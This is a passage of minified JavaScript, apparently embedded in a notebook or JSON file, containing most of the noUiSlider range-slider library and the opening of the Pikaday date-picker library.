'range'.\\\");if(e.min===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' 'min' and 'max' cannot be equal.\\\");t.spectrum=new a(e,t.snap,t.singleStep)}function m(t,e){if(e=tt(e),!Array.isArray(e)||!e.length)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'start' option is incorrect.\\\");t.handles=e.length,t.start=e}function v(t,e){if(\\\"boolean\\\"!=typeof(t.snap=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'snap' option must be a boolean.\\\")}function g(t,e){if(\\\"boolean\\\"!=typeof(t.animate=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'animate' option must be a boolean.\\\")}function y(t,e){if(\\\"number\\\"!=typeof(t.animationDuration=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'animationDuration' option must be a number.\\\")}function b(t,e){var n,i=[!1];if(\\\"lower\\\"===e?e=[!0,!1]:\\\"upper\\\"===e&&(e=[!1,!0]),!0===e||!1===e){for(n=1;n<t.handles;n++)i.push(e);i.push(!1)}else{if(!Array.isArray(e)||!e.length||e.length!==t.handles+1)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'connect' option doesn't match handle count.\\\");i=e}t.connect=i}function _(t,e){switch(e){case\\\"horizontal\\\":t.ort=0;break;case\\\"vertical\\\":t.ort=1;break;default:throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'orientation' option is invalid.\\\")}}function w(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'margin' option must be numeric.\\\");if(0!==e&&(t.margin=t.spectrum.getMargin(e),!t.margin))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'margin' option is only supported on linear sliders.\\\")}function x(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit' option must be numeric.\\\");if(t.limit=t.spectrum.getMargin(e),!t.limit||t.handles<2)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit' option is only supported on linear sliders with 2 or more handles.\\\")}function k(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be numeric.\\\");if(0!==e){if(t.padding=t.spectrum.getMargin(e),!t.padding)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option is only supported on linear sliders.\\\");if(t.padding<0)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be a positive number.\\\");if(50<=t.padding)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be less than half the range.\\\")}}function S(t,e){switch(e){case\\\"ltr\\\":t.dir=0;break;case\\\"rtl\\\":t.dir=1;break;default:throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'direction' option was not recognized.\\\")}}function C(t,e){if(\\\"string\\\"!=typeof e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'behaviour' must be a string containing options.\\\");var n=0<=e.indexOf(\\\"tap\\\"),i=0<=e.indexOf(\\\"drag\\\"),r=0<=e.indexOf(\\\"fixed\\\"),o=0<=e.indexOf(\\\"snap\\\"),s=0<=e.indexOf(\\\"hover\\\");if(r){if(2!==t.handles)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'fixed' behaviour must be used with 2 handles\\\");w(t,t.start[1]-t.start[0])}t.events={tap:n||o,drag:i,fixed:r,snap:o,hover:s}}function E(t,e){if(\\\"boolean\\\"!=typeof(t.multitouch=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'multitouch' option must be a boolean.\\\")}function D(t,e){if(!1!==e)if(!0===e){t.tooltips=[];for(var n=0;n<t.handles;n++)t.tooltips.push(!0)}else{if(t.tooltips=tt(e),t.tooltips.length!==t.handles)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): must pass a formatter for all handles.\\\");t.tooltips.forEach(function(t){if(\\\"boolean\\\"!=typeof t&&(\\\"object\\\"!=typeof t||\\\"function\\\"!=typeof t.to))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'tooltips' must be passed a formatter or 'false'.\\\")})}}function M(t,e){u(t.ariaFormat=e)}function A(t,e){u(t.format=e)}function N(t,e){if(void 0!==e&&\\\"string\\\"!=typeof e&&!1!==e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'cssPrefix' must be a string or `false`.\\\");t.cssPrefix=e}function V(t,e){if(void 0!==e&&\\\"object\\\"!=typeof e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'cssClasses' must be an object.\\\");if(\\\"string\\\"==typeof t.cssPrefix)for(var n in t.cssClasses={},e)e.hasOwnProperty(n)&&(t.cssClasses[n]=t.cssPrefix+e[n]);else t.cssClasses=e}function I(t,e){if(!0!==e&&!1!==e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'useRequestAnimationFrame' option should be true (default) or false.\\\");t.useRequestAnimationFrame=e}function rt(e){var n={margin:0,limit:0,padding:0,animate:!0,animationDuration:300,ariaFormat:l,format:l},i={step:{r:!1,t:p},start:{r:!0,t:m},connect:{r:!0,t:b},direction:{r:!0,t:S},snap:{r:!1,t:v},animate:{r:!1,t:g},animationDuration:{r:!1,t:y},range:{r:!0,t:f},orientation:{r:!1,t:_},margin:{r:!1,t:w},limit:{r:!1,t:x},padding:{r:!1,t:k},behaviour:{r:!0,t:C},multitouch:{r:!0,t:E},ariaFormat:{r:!1,t:M},format:{r:!1,t:A},tooltips:{r:!1,t:D},cssPrefix:{r:!1,t:N},cssClasses:{r:!1,t:V},useRequestAnimationFrame:{r:!1,t:I}},r={connect:!1,direction:\\\"ltr\\\",behaviour:\\\"tap\\\",multitouch:!1,orientation:\\\"horizontal\\\",cssPrefix:\\\"noUi-\\\",cssClasses:{target:\\\"target\\\",base:\\\"base\\\",origin:\\\"origin\\\",handle:\\\"handle\\\",handleLower:\\\"handle-lower\\\",handleUpper:\\\"handle-upper\\\",horizontal:\\\"horizontal\\\",vertical:\\\"vertical\\\",background:\\\"background\\\",connect:\\\"connect\\\",ltr:\\\"ltr\\\",rtl:\\\"rtl\\\",draggable:\\\"draggable\\\",drag:\\\"state-drag\\\",tap:\\\"state-tap\\\",active:\\\"active\\\",tooltip:\\\"tooltip\\\",pips:\\\"pips\\\",pipsHorizontal:\\\"pips-horizontal\\\",pipsVertical:\\\"pips-vertical\\\",marker:\\\"marker\\\",markerHorizontal:\\\"marker-horizontal\\\",markerVertical:\\\"marker-vertical\\\",markerNormal:\\\"marker-normal\\\",markerLarge:\\\"marker-large\\\",markerSub:\\\"marker-sub\\\",value:\\\"value\\\",valueHorizontal:\\\"value-horizontal\\\",valueVertical:\\\"value-vertical\\\",valueNormal:\\\"value-normal\\\",valueLarge:\\\"value-large\\\",valueSub:\\\"value-sub\\\"},useRequestAnimationFrame:!0};e.format&&!e.ariaFormat&&(e.ariaFormat=e.format),Object.keys(i).forEach(function(t){if(void 0===e[t]&&void 0===r[t]){if(i[t].r)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): '\\\"+t+\\\"' is required.\\\");return!0}i[t].t(n,void 0===e[t]?r[t]:e[t])}),n.pips=e.pips;var t=[[\\\"left\\\",\\\"top\\\"],[\\\"right\\\",\\\"bottom\\\"]];return n.style=t[n.dir][n.ort],n.styleOposite=t[n.dir?0:1][n.ort],n}function P(t,d,o){var u,l,s,a,h,r,c,e,p=window.navigator.pointerEnabled?{start:\\\"pointerdown\\\",move:\\\"pointermove\\\",end:\\\"pointerup\\\"}:window.navigator.msPointerEnabled?{start:\\\"MSPointerDown\\\",move:\\\"MSPointerMove\\\",end:\\\"MSPointerUp\\\"}:{start:\\\"mousedown touchstart\\\",move:\\\"mousemove touchmove\\\",end:\\\"mouseup touchend\\\"},n=window.CSS&&CSS.supports&&CSS.supports(\\\"touch-action\\\",\\\"none\\\"),f=n&&function(){var t=!1;try{var e=Object.defineProperty({},\\\"passive\\\",{get:function(){t=!0}});window.addEventListener(\\\"test\\\",null,e)}catch(t){}return t}(),_=t,m=[],v=[],g=0,w=d.spectrum,y=[],b={},x=t.ownerDocument,k=x.documentElement,S=x.body;function C(t,e){var n=x.createElement(\\\"div\\\");return e&&et(n,e),t.appendChild(n),n}function i(t,e){var n=C(t,d.cssClasses.origin),i=C(n,d.cssClasses.handle);return i.setAttribute(\\\"data-handle\\\",e),i.setAttribute(\\\"tabindex\\\",\\\"0\\\"),i.setAttribute(\\\"role\\\",\\\"slider\\\"),i.setAttribute(\\\"aria-orientation\\\",d.ort?\\\"vertical\\\":\\\"horizontal\\\"),0===e?et(i,d.cssClasses.handleLower):e===d.handles-1&&et(i,d.cssClasses.handleUpper),n}function E(t,e){return!!e&&C(t,d.cssClasses.connect)}function D(t,e){return!!d.tooltips[e]&&C(t.firstChild,d.cssClasses.tooltip)}function M(e,i,r){var o=x.createElement(\\\"div\\\"),s=[d.cssClasses.valueNormal,d.cssClasses.valueLarge,d.cssClasses.valueSub],a=[d.cssClasses.markerNormal,d.cssClasses.markerLarge,d.cssClasses.markerSub],l=[d.cssClasses.valueHorizontal,d.cssClasses.valueVertical],u=[d.cssClasses.markerHorizontal,d.cssClasses.markerVertical];function c(t,e){var n=e===d.cssClasses.value,i=n?l:u,r=n?s:a;return e+\\\" \\\"+i[d.ort]+\\\" \\\"+r[t]}return et(o,d.cssClasses.pips),et(o,0===d.ort?d.cssClasses.pipsHorizontal:d.cssClasses.pipsVertical),Object.keys(e).forEach(function(t){!function(t,e){e[1]=e[1]&&i?i(e[0],e[1]):e[1];var n=C(o,!1);n.className=c(e[1],d.cssClasses.marker),n.style[d.style]=t+\\\"%\\\",e[1]&&((n=C(o,!1)).className=c(e[1],d.cssClasses.value),n.style[d.style]=t+\\\"%\\\",n.innerText=r.to(e[0]))}(t,e[t])}),o}function A(){var t;h&&((t=h).parentElement.removeChild(t),h=null)}function N(t){A();var p,f,m,e,v,n,i,g,y,b,r=t.mode,o=t.density||1,s=t.filter||!1,a=t.values||!1,l=t.stepped||!1,u=function(t,e,n){if(\\\"range\\\"===t||\\\"steps\\\"===t)return w.xVal;if(\\\"count\\\"===t){if(!e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'values' required for mode 'count'.\\\");var i,r=100/(e-1),o=0;for(e=[];(i=o++*r)<=100;)e.push(i);t=\\\"positions\\\"}return\\\"positions\\\"===t?e.map(function(t){return w.fromStepping(n?w.getStep(t):t)}):\\\"values\\\"===t?n?e.map(function(t){return w.fromStepping(w.getStep(w.toStepping(t)))}):e:void 0}(r,a,l),c=(p=o,f=r,m=u,v={},n=w.xVal[0],i=w.xVal[w.xVal.length-1],y=g=!1,b=0,(e=m.slice().sort(function(t,e){return t-e}),m=e.filter(function(t){return!this[t]&&(this[t]=!0)},{}))[0]!==n&&(m.unshift(n),g=!0),m[m.length-1]!==i&&(m.push(i),y=!0),m.forEach(function(t,e){var n,i,r,o,s,a,l,u,c,d=t,h=m[e+1];if(\\\"steps\\\"===f&&(n=w.xNumSteps[e]),n||(n=h-d),!1!==d&&void 0!==h)for(n=Math.max(n,1e-7),i=d;i<=h;i=(i+n).toFixed(7)/1){for(l=(s=(o=w.toStepping(i))-b)/p,c=s/(u=Math.round(l)),r=1;r<=u;r+=1)v[(b+r*c).toFixed(5)]=[\\\"x\\\",0];a=-1<m.indexOf(i)?1:\\\"steps\\\"===f?2:0,!e&&g&&(a=0),i===h&&y||(v[o.toFixed(5)]=[i,a]),b=o}}),v),d=t.format||{to:Math.round};return h=_.appendChild(M(c,s,d))}function V(){var t=u.getBoundingClientRect(),e=\\\"offset\\\"+[\\\"Width\\\",\\\"Height\\\"][d.ort];return 0===d.ort?t.width||u[e]:t.height||u[e]}function I(i,r,o,s){var e=function(t){return!_.hasAttribute(\\\"disabled\\\")&&(e=_,n=d.cssClasses.tap,(e.classList?!e.classList.contains(n):!new RegExp(\\\"\\\\\\\\b\\\"+n+\\\"\\\\\\\\b\\\").test(e.className))&&!!(t=function(t,e,n){var i,r,o=0===t.type.indexOf(\\\"touch\\\"),s=0===t.type.indexOf(\\\"mouse\\\"),a=0===t.type.indexOf(\\\"pointer\\\");if(0===t.type.indexOf(\\\"MSPointer\\\")&&(a=!0),o&&d.multitouch){var l=function(t){return t.target===n||n.contains(t.target)};if(\\\"touchstart\\\"===t.type){var u=Array.prototype.filter.call(t.touches,l);if(1<u.length)return!1;i=u[0].pageX,r=u[0].pageY}else{var c=Array.prototype.find.call(t.changedTouches,l);if(!c)return!1;i=c.pageX,r=c.pageY}}else if(o){if(1<t.touches.length)return!1;i=t.changedTouches[0].pageX,r=t.changedTouches[0].pageY}return e=e||it(x),(s||a)&&(i=t.clientX+e.x,r=t.clientY+e.y),t.pageOffset=e,t.points=[i,r],t.cursor=s||a,t}(t,s.pageOffset,s.target||r))&&!(i===p.start&&void 0!==t.buttons&&1<t.buttons)&&(!s.hover||!t.buttons)&&(f||t.preventDefault(),t.calcPoint=t.points[d.ort],void o(t,s)));var e,n},n=[];return i.split(\\\" \\\").forEach(function(t){r.addEventListener(t,e,!!f&&{passive:!0}),n.push([t,e])}),n}function P(t){var e,n,i,r,o,s,a=t-(e=u,n=d.ort,i=e.getBoundingClientRect(),r=e.ownerDocument,o=r.documentElement,s=it(r),/webkit.*Chrome.*Mobile/i.test(navigator.userAgent)&&(s.x=0),n?i.top+s.y-o.clientTop:i.left+s.x-o.clientLeft),l=100*a/V();return d.dir?100-l:l}function R(t,i,n,e){var r=n.slice(),o=[!t,t],s=[t,!t];e=e.slice(),t&&e.reverse(),1<e.length?e.forEach(function(t,e){var n=z(r,t,r[t]+i,o[e],s[e],!1);!1===n?i=0:(i=n-r[t],r[t]=n)}):o=s=[!0];var a=!1;e.forEach(function(t,e){a=H(t,n[t]+i,o[e],s[e])||a}),a&&e.forEach(function(t){L(\\\"update\\\",t),L(\\\"slide\\\",t)})}function L(n,i,r){Object.keys(b).forEach(function(t){var e=t.split(\\\".\\\")[0];n===e&&b[t].forEach(function(t){t.call(a,y.map(d.format.to),i,y.slice(),r||!1,m.slice())})})}function T(t,e){\\\"mouseout\\\"===t.type&&\\\"HTML\\\"===t.target.nodeName&&null===t.relatedTarget&&W(t,e)}function O(t,e){if(-1===navigator.appVersion.indexOf(\\\"MSIE 9\\\")&&0===t.buttons&&0!==e.buttonsProperty)return W(t,e);var n=(d.dir?-1:1)*(t.calcPoint-e.startCalcPoint),i=100*n/e.baseSize;R(0<n,i,e.locations,e.handleNumbers)}function W(t,e){e.handle&&(nt(e.handle,d.cssClasses.active),g-=1),e.listeners.forEach(function(t){k.removeEventListener(t[0],t[1])}),0===g&&(nt(_,d.cssClasses.drag),Y(),t.cursor&&(S.style.cursor=\\\"\\\",S.removeEventListener(\\\"selectstart\\\",Q))),e.handleNumbers.forEach(function(t){L(\\\"change\\\",t),L(\\\"set\\\",t),L(\\\"end\\\",t)})}function B(t,e){var n;if(1===e.handleNumbers.length){var i=l[e.handleNumbers[0]];if(i.hasAttribute(\\\"disabled\\\"))return!1;n=i.children[0],g+=1,et(n,d.cssClasses.active)}t.stopPropagation();var r=[],o=I(p.move,k,O,{target:t.target,handle:n,listeners:r,startCalcPoint:t.calcPoint,baseSize:V(),pageOffset:t.pageOffset,handleNumbers:e.handleNumbers,buttonsProperty:t.buttons,locations:m.slice()}),s=I(p.end,k,W,{target:t.target,handle:n,listeners:r,handleNumbers:e.handleNumbers}),a=I(\\\"mouseout\\\",k,T,{target:t.target,handle:n,listeners:r,handleNumbers:e.handleNumbers});r.push.apply(r,o.concat(s,a)),t.cursor&&(S.style.cursor=getComputedStyle(t.target).cursor,1<l.length&&et(_,d.cssClasses.drag),S.addEventListener(\\\"selectstart\\\",Q,!1)),e.handleNumbers.forEach(function(t){L(\\\"start\\\",t)})}function U(t){t.stopPropagation();var i,r,o,e=P(t.calcPoint),n=(i=e,o=!(r=100),l.forEach(function(t,e){if(!t.hasAttribute(\\\"disabled\\\")){var n=Math.abs(m[e]-i);n<r&&(o=e,r=n)}}),o);if(!1===n)return!1;d.events.snap||Z(_,d.cssClasses.tap,d.animationDuration),H(n,e,!0,!0),Y(),L(\\\"slide\\\",n,!0),L(\\\"update\\\",n,!0),L(\\\"change\\\",n,!0),L(\\\"set\\\",n,!0),d.events.snap&&B(t,{handleNumbers:[n]})}function j(t){var e=P(t.calcPoint),n=w.getStep(e),i=w.fromStepping(n);Object.keys(b).forEach(function(t){\\\"hover\\\"===t.split(\\\".\\\")[0]&&b[t].forEach(function(t){t.call(a,i)})})}function z(t,e,n,i,r,o){var s;return 1<l.length&&(i&&0<e&&(n=Math.max(n,t[e-1]+d.margin)),r&&e<l.length-1&&(n=Math.min(n,t[e+1]-d.margin))),1<l.length&&d.limit&&(i&&0<e&&(n=Math.min(n,t[e-1]+d.limit)),r&&e<l.length-1&&(n=Math.max(n,t[e+1]-d.limit))),d.padding&&(0===e&&(n=Math.max(n,d.padding)),e===l.length-1&&(n=Math.min(n,100-d.padding))),n=w.getStep(n),s=n,!((n=Math.max(Math.min(s,100),0))===t[e]&&!o)&&n}function F(t){return t+\\\"%\\\"}function Y(){v.forEach(function(t){var e=50<m[t]?-1:1,n=3+(l.length+e*t);l[t].childNodes[0].style.zIndex=n})}function H(t,e,n,i){return!1!==(e=z(m,t,e,n,i,!1))&&(function(t,e){m[t]=e,y[t]=w.fromStepping(e);var n=function(){l[t].style[d.style]=F(e),q(t),q(t+1)};window.requestAnimationFrame&&d.useRequestAnimationFrame?window.requestAnimationFrame(n):n()}(t,e),!0)}function q(t){if(s[t]){var e=0,n=100;0!==t&&(e=m[t-1]),t!==s.length-1&&(n=m[t]),s[t].style[d.style]=F(e),s[t].style[d.styleOposite]=F(100-n)}}function G(t,e){null!==t&&!1!==t&&(\\\"number\\\"==typeof t&&(t=String(t)),!1===(t=d.format.from(t))||isNaN(t)||H(e,w.toStepping(t),!1,!1))}function X(t,e){var n=tt(t),i=void 0===m[0];e=void 0===e||!!e,n.forEach(G),d.animate&&!i&&Z(_,d.cssClasses.tap,d.animationDuration),v.forEach(function(t){H(t,m[t],!0,!1)}),Y(),v.forEach(function(t){L(\\\"update\\\",t),null!==n[t]&&e&&L(\\\"set\\\",t)})}function K(){var t=y.map(d.format.to);return 1===t.length?t[0]:t}function J(t,e){b[t]=b[t]||[],b[t].push(e),\\\"update\\\"===t.split(\\\".\\\")[0]&&l.forEach(function(t,e){L(\\\"update\\\",e)})}if(_.noUiSlider)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): Slider was already initialized.\\\");return et(e=_,d.cssClasses.target),0===d.dir?et(e,d.cssClasses.ltr):et(e,d.cssClasses.rtl),0===d.ort?et(e,d.cssClasses.horizontal):et(e,d.cssClasses.vertical),u=C(e,d.cssClasses.base),function(t,e){l=[],(s=[]).push(E(e,t[0]));for(var n=0;n<d.handles;n++)l.push(i(e,n)),v[n]=n,s.push(E(e,t[n+1]))}(d.connect,u),a={destroy:function(){for(var t in d.cssClasses)d.cssClasses.hasOwnProperty(t)&&nt(_,d.cssClasses[t]);for(;_.firstChild;)_.removeChild(_.firstChild);delete _.noUiSlider},steps:function(){return m.map(function(t,e){var n=w.getNearbySteps(t),i=y[e],r=n.thisStep.step,o=null;!1!==r&&i+r>n.stepAfter.startValue&&(r=n.stepAfter.startValue-i),o=i>n.thisStep.startValue?n.thisStep.step:!1!==n.stepBefore.step&&i-n.stepBefore.highestStep,100===t?r=null:0===t&&(o=null);var s=w.countStepDecimals();return null!==r&&!1!==r&&(r=Number(r.toFixed(s))),null!==o&&!1!==o&&(o=Number(o.toFixed(s))),[o,r]})},on:J,off:function(t){var i=t&&t.split(\\\".\\\")[0],r=i&&t.substring(i.length);Object.keys(b).forEach(function(t){var e=t.split(\\\".\\\")[0],n=t.substring(e.length);i&&i!==e||r&&r!==n||delete b[t]})},get:K,set:X,reset:function(t){X(d.start,t)},__moveHandles:function(t,e,n){R(t,e,m,n)},options:o,updateOptions:function(e,t){var n=K(),i=[\\\"margin\\\",\\\"limit\\\",\\\"padding\\\",\\\"range\\\",\\\"animate\\\",\\\"snap\\\",\\\"step\\\",\\\"format\\\"];i.forEach(function(t){void 0!==e[t]&&(o[t]=e[t])});var r=rt(o);i.forEach(function(t){void 0!==e[t]&&(d[t]=r[t])}),w=r.spectrum,d.margin=r.margin,d.limit=r.limit,d.padding=r.padding,d.pips&&N(d.pips),m=[],X(e.start||n,t)},target:_,removePips:A,pips:N},(c=d.events).fixed||l.forEach(function(t,e){I(p.start,t.children[0],B,{handleNumbers:[e]})}),c.tap&&I(p.start,u,U,{}),c.hover&&I(p.move,u,j,{hover:!0}),c.drag&&s.forEach(function(t,e){if(!1!==t&&0!==e&&e!==s.length-1){var n=l[e-1],i=l[e],r=[t];et(t,d.cssClasses.draggable),c.fixed&&(r.push(n.children[0]),r.push(i.children[0])),r.forEach(function(t){I(p.start,t,B,{handles:[n,i],handleNumbers:[e-1,e]})})}}),X(d.start),d.pips&&N(d.pips),d.tooltips&&(r=l.map(D),J(\\\"update\\\",function(t,e,n){if(r[e]){var i=t[e];!0!==d.tooltips[e]&&(i=d.tooltips[e].to(n[e])),r[e].innerHTML=i}})),J(\\\"update\\\",function(t,e,s,n,a){v.forEach(function(t){var e=l[t],n=z(m,t,0,!0,!0,!0),i=z(m,t,100,!0,!0,!0),r=a[t],o=d.ariaFormat.to(s[t]);e.children[0].setAttribute(\\\"aria-valuemin\\\",n.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuemax\\\",i.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuenow\\\",r.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuetext\\\",o)})}),a}return{version:$,create:function(t,e){if(!t||!t.nodeName)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): create requires a single element, got: \\\"+t);var n=rt(e),i=P(t,n,e);return t.noUiSlider=i}}},\\\"object\\\"==typeof n?e.exports=i():window.noUiSlider=i()},432:function(i,r,o){\\n\",\n       \"      /*!\\n\",\n       \"           * Pikaday\\n\",\n       \"           *\\n\",\n       \"           * Copyright Â© 2014 David Bushell | BSD & MIT license | https://github.com/dbushell/Pikaday\\n\",\n       \"           */\\n\",\n       \"      !function(t,e){\\\"use strict\\\";var n;if(\\\"object\\\"==typeof o){try{n=i(\\\"moment\\\")}catch(t){}r.exports=e(n)}else t.Pikaday=e(t.moment)}(this,function(n){\\\"use strict\\\";var o=\\\"function\\\"==typeof n,s=!!window.addEventListener,c=window.document,u=window.setTimeout,a=function(t,e,n,i){s?t.addEventListener(e,n,!!i):t.attachEvent(\\\"on\\\"+e,n)},i=function(t,e,n,i){s?t.removeEventListener(e,n,!!i):t.detachEvent(\\\"on\\\"+e,n)},l=function(t,e){return-1!==(\\\" \\\"+t.className+\\\" \\\").indexOf(\\\" \\\"+e+\\\" \\\")},g=function(t){return/Array/.test(Object.prototype.toString.call(t))},B=function(t){return/Date/.test(Object.prototype.toString.call(t))&&!isNaN(t.getTime())},U=function(t,e){return[31,(n=t,n%4==0&&n%100!=0||n%400==0?29:28),31,30,31,30,31,31,30,31,30,31][e];var n},j=function(t){B(t)&&t.setHours(0,0,0,0)},z=function(t,e){return t.getTime()===e.getTime()},d=function(t,e,n){var i,r;for(i in e)(r=void 0!==t[i])&&\\\"object\\\"==typeof e[i]&&null!==e[i]&&void 0===e[i].nodeName?B(e[i])?n&&(t[i]=new Date(e[i].getTime())):g(e[i])?n&&(t[i]=e[i].slice(0)):t[i]=d({},e[i],n):!n&&r||(t[i]=e[i]);return t},r=function(t,e,n){var i;c.createEvent?((i=c.createEvent(\\\"HTMLEvents\\\")).initEvent(e,!0,!1),i=d(i,n),t.dispatchEvent(i)):c.createEventObject&&(i=c.createEventObject(),i=d(i,n),t.fireEvent(\\\"on\\\"+e,i))},e=function(t){return t.month<0&&(t.year-=Math.ceil(Math.abs(t.month)/12),t.month+=12),11<t.month&&(t.year+=Math.floor(Math.abs(t.month)/12),t.month-=12),t},h={field:null,bound:void 0,position:\\\"bottom left\\\",reposition:!0,format:\\\"YYYY-MM-DD\\\",toString:null,parse:null,defaultDate:null,setDefaultDate:!1,firstDay:0,formatStrict:!1,minDate:null,maxDate:null,yearRange:10,showWeekNumber:!1,pickWholeWeek:!1,minYear:0,maxYear:9999,minMonth:void 0,maxMonth:void 0,startRange:null,endRange:null,isRTL:!1,yearSuffix:\\\"\\\",showMonthAfterYear:!1,showDaysInNextAndPreviousMonths:!1,enableSelectionDaysInNextAndPreviousMonths:!1,numberOfMonths:1,mainCalendar:\\\"left\\\",container:void 0,blurFieldOnSelect:!0,i18n:{previousMonth:\\\"Previous Month\\\",nextMonth:\\\"Next Month\\\",months:[\\\"January\\\",\\\"February\\\",\\\"March\\\",\\\"April\\\",\\\"May\\\",\\\"June\\\",\\\"July\\\",\\\"August\\\",\\\"September\\\",\\\"October\\\",\\\"November\\\",\\\"December\\\"],weekdays:[\\\"Sunday\\\",\\\"Monday\\\",\\\"Tuesday\\\",\\\"Wednesday\\\",\\\"Thursday\\\",\\\"Friday\\\",\\\"Saturday\\\"],weekdaysShort:[\\\"Sun\\\",\\\"Mon\\\",\\\"Tue\\\",\\\"Wed\\\",\\\"Thu\\\",\\\"Fri\\\",\\\"Sat\\\"]},theme:null,events:[],onSelect:null,onOpen:null,onClose:null,onDraw:null,keyboardInput:!0},p=function(t,e,n){for(e+=t.firstDay;7<=e;)e-=7;return n?t.i18n.weekdaysShort[e]:t.i18n.weekdays[e]},F=function(t){var e=[],n=\\\"false\\\";if(t.isEmpty){if(!t.showDaysInNextAndPreviousMonths)return'<td class=\\\"is-empty\\\"></td>';e.push(\\\"is-outside-current-month\\\"),t.enableSelectionDaysInNextAndPreviousMonths||e.push(\\\"is-selection-disabled\\\")}return t.isDisabled&&e.push(\\\"is-disabled\\\"),t.isToday&&e.push(\\\"is-today\\\"),t.isSelected&&(e.push(\\\"is-selected\\\"),n=\\\"true\\\"),t.hasEvent&&e.push(\\\"has-event\\\"),t.isInRange&&e.push(\\\"is-inrange\\\"),t.isStartRange&&e.push(\\\"is-startrange\\\"),t.isEndRange&&e.push(\\\"is-endrange\\\"),'<td data-day=\\\"'+t.day+'\\\" class=\\\"'+e.join(\\\" \\\")+'\\\" aria-selected=\\\"'+n+'\\\"><button class=\\\"pika-button pika-day\\\" type=\\\"button\\\" data-pika-year=\\\"'+t.year+'\\\" data-pika-month=\\\"'+t.month+'\\\" data-pika-day=\\\"'+t.day+'\\\">'+t.day+\\\"</button></td>\\\"},f=function(t,e,n,i,r,o){var s,a,l,u,c,d=t._o,h=n===d.minYear,p=n===d.maxYear,f='<div id=\\\"'+o+'\\\" class=\\\"pika-title\\\" role=\\\"heading\\\" aria-live=\\\"assertive\\\">',m=!0,v=!0;for(l=[],s=0;s<12;s++)l.push('<option value=\\\"'+(n===r?s-e:12+s-e)+'\\\"'+(s===i?' selected=\\\"selected\\\"':\\\"\\\")+(h&&s<d.minMonth||p&&s>d.maxMonth?'disabled=\\\"disabled\\\"':\\\"\\\")+\\\">\\\"+d.i18n.months[s]+\\\"</option>\\\");for(u='<div class=\\\"pika-label\\\">'+d.i18n.months[i]+'<select class=\\\"pika-select pika-select-month\\\" tabindex=\\\"-1\\\">'+l.join(\\\"\\\")+\\\"</select></div>\\\",g(d.yearRange)?(s=d.yearRange[0],a=d.yearRange[1]+1):(s=n-d.yearRange,a=1+n+d.yearRange),l=[];s<a&&s<=d.maxYear;s++)s>=d.minYear&&l.push('<option value=\\\"'+s+'\\\"'+(s===n?' selected=\\\"selected\\\"':\\\"\\\")+\\\">\\\"+s+\\\"</option>\\\");return c='<div class=\\\"pika-label\\\">'+n+d.yearSuffix+'<select class=\\\"pika-select pika-select-year\\\" tabindex=\\\"-1\\\">'+l.join(\\\"\\\")+\\\"</select></div>\\\",d.showMonthAfterYear?f+=c+u:f+=u+c,h&&(0===i||d.minMonth>=i)&&(m=!1),p&&(11===i||d.maxMonth<=i)&&(v=!1),0===e&&(f+='<button class=\\\"pika-prev'+(m?\\\"\\\":\\\" is-disabled\\\")+'\\\" type=\\\"button\\\">'+d.i18n.previousMonth+\\\"</button>\\\"),e===t._o.numberOfMonths-1&&(f+='<button class=\\\"pika-next'+(v?\\\"\\\":\\\" is-disabled\\\")+'\\\" type=\\\"button\\\">'+d.i18n.nextMonth+\\\"</button>\\\"),f+=\\\"</div>\\\"},Y=function(t,e,n){return'<table cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" class=\\\"pika-table\\\" role=\\\"grid\\\" aria-labelledby=\\\"'+n+'\\\">'+function(t){var e,n=[];for(t.showWeekNumber&&n.push(\\\"<th></th>\\\"),e=0;e<7;e++)n.push('<th scope=\\\"col\\\"><abbr title=\\\"'+p(t,e)+'\\\">'+p(t,e,!0)+\\\"</abbr></th>\\\");return\\\"<thead><tr>\\\"+(t.isRTL?n.reverse():n).join(\\\"\\\")+\\\"</tr></thead>\\\"}(t)+\\\"<tbody>\\\"+e.join(\\\"\\\")+\\\"</tbody></table>\\\"},t=function(t){var i=this,r=i.config(t);i._onMouseDown=function(t){if(i._v){var e=(t=t||window.event).target||t.srcElement;if(e)if(l(e,\\\"is-disabled\\\")||(!l(e,\\\"pika-button\\\")||l(e,\\\"is-empty\\\")||l(e.parentNode,\\\"is-disabled\\\")?l(e,\\\"pika-prev\\\")?i.prevMonth():l(e,\\\"pika-next\\\")&&i.nextMonth():(i.setDate(new Date(e.getAttribute(\\\"data-pika-year\\\"),e.getAttribute(\\\"data-pika-month\\\"),e.getAttribute(\\\"data-pika-day\\\"))),r.bound&&u(function(){i.hide(),r.blurFieldOnSelect&&r.field&&r.field.blur()},100))),l(e,\\\"pika-select\\\"))i._c=!0;else{if(!t.preventDefault)return t.returnValue=!1;t.preventDefault()}}},i._onChange=function(t){var 